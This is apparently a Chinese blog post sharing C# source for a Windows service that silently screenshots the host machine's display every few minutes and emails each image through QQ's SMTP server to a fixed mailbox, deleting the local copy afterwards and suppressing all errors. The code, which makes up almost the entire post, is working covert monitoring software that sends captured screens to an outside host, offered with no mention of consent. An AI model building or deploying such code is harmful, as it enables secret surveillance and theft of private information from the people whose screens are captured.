c#写的windows服务，定时抓取客户机的屏幕，并发送到指定的邮箱

windows服务，能够定时抓取客户机的屏幕，并发送到指定的邮箱。(参考了一些网上的代码,xp系统下测试无问题)

public partial class Service1 : ServiceBase

{

static DateTime time;

[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]

private static extern bool BitBlt(

IntPtr hdcDest, //目标设备的句柄

int nXDest, // 目标对象的左上角的X坐标

int nYDest, // 目标对象的左上角的X坐标

int nWidth, // 目标对象的矩形的宽度

int nHeight, // 目标对象的矩形的长度

IntPtr hdcSrc, // 源设备的句柄

int nXSrc, // 源对象的左上角的X坐标

int nYSrc, // 源对象的左上角的X坐标

System.Int32 dwRop // 光栅的操作值

);

[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]

private static extern IntPtr CreateDC(

string lpszDriver, // 驱动名称

string lpszDevice, // 设备名称

string lpszOutput, // 无用，可以设定位"NULL"

IntPtr lpInitData // 任意的打印机数据

);

public Service1()

{

InitializeComponent();

}

protected override void OnStart(string[] args)

{

time = DateTime.Now;

System.Timers.Timer timer = new System.Timers.Timer(180000);

timer.Elapsed += new System.Timers.ElapsedEventHandler(timer_Elapsed);

timer.Enabled = true;

timer.Start();

}

void timer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)

{

if (DateTime.Now >= time)

{

time = time.AddMinutes(5);

SendEmail();

}

}

private void SendEmail()

{

try

{

#region 屏幕截屏

Bitmap MyImage = null;

IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);

//创建显示器的DC

Graphics g1 = Graphics.FromHdc(dc1);

//由一个指定设备的句柄创建一个新的Graphics对象

MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);

//根据屏幕大小创建一个与之相同大小的Bitmap对象

Graphics g2 = Graphics.FromImage(MyImage);

//获得屏幕的句柄

IntPtr dc3 = g1.GetHdc();

//获得位图的句柄

IntPtr dc2 = g2.GetHdc();

//把当前屏幕捕获到位图对象中

BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);

//把当前屏幕拷贝到位图中

g1.ReleaseHdc(dc3);

//释放屏幕句柄

g2.ReleaseHdc(dc2);

//释放位图句柄

string dir = Getdir();

string path = dir + DateTime.Now.ToString("yyyyMMddHHmmss") + ".jpg";

WriteLog(path);

MyImage.Save(path, ImageFormat.Jpeg);

#endregion

#region 邮件发送程序

SmtpClient mailClient = new SmtpClient("smtp.qq.com");

//Credentials登陆SMTP服务器的身份验证.

mailClient.Credentials = new NetworkCredential(qq邮箱, 密码);

//test@qq.com发件人地址、test@163.com收件人地址

MailMessage message = new MailMessage(new MailAddress("test@qq.com"), new MailAddress("test@163.com"));

// message.Bcc.Add(new MailAddress("tst@qq.com")); //可以添加多个收件人

//message.Body = "Hello Word!";//邮件内容

message.Subject = DateTime.Now.ToString("yyyyMMddHHmmss");//邮件主题

//Attachment 附件

Attachment att = new Attachment(path);

message.Attachments.Add(att);//添加附件

//发送

mailClient.Send(message);

if (File.Exists(path))

File.Delete(path);

#endregion

}

catch(Exception e)

{

}

}

private string Getdir()

{

if (Directory.Exists("c:\\"))

return "c:\\";

else if (Directory.Exists("d:\\"))

return "d:\\";

else if (Directory.Exists("e:\\"))

return "e:\\";

else if (Directory.Exists("f:\\"))

return "f:\\";

else

return "g:\\";

}

private void WriteLog(string message)

{

string path1 = Getdir() + "\\" + DateTime.Now.ToString("yyyy-MM") + ".txt";

if (!File.Exists(path1))

{

File.CreateText(path1).Close();

}

using (FileStream fs = new FileStream(path1, FileMode.Append, FileAccess.Write))

{

StreamWriter sw = new StreamWriter(fs);

sw.WriteLine(message);

sw.Flush();

sw.Close();

fs.Close();

}

}

protected override void OnStop()

{

}

}

/////该函数是为了windows服务和桌面交互

private void serviceInstaller1_AfterInstall(object sender, InstallEventArgs e)

{

base.OnAfterInstall(e.SavedState);

ManagementObject wmiService = null;

ManagementBaseObject InParam = null;

try

{

wmiService = new ManagementObject(string.Format("Win32_Service.Name='{0}'", serviceInstaller1.ServiceName));

InParam = wmiService.GetMethodParameters("Change");

InParam["DesktopInteract"] = true;

wmiService.InvokeMethod("Change", InParam, null);

}

finally

{

if (InParam != null)

InParam.Dispose();

if (wmiService != null)

wmiService.Dispose();

}

}

完整源码下载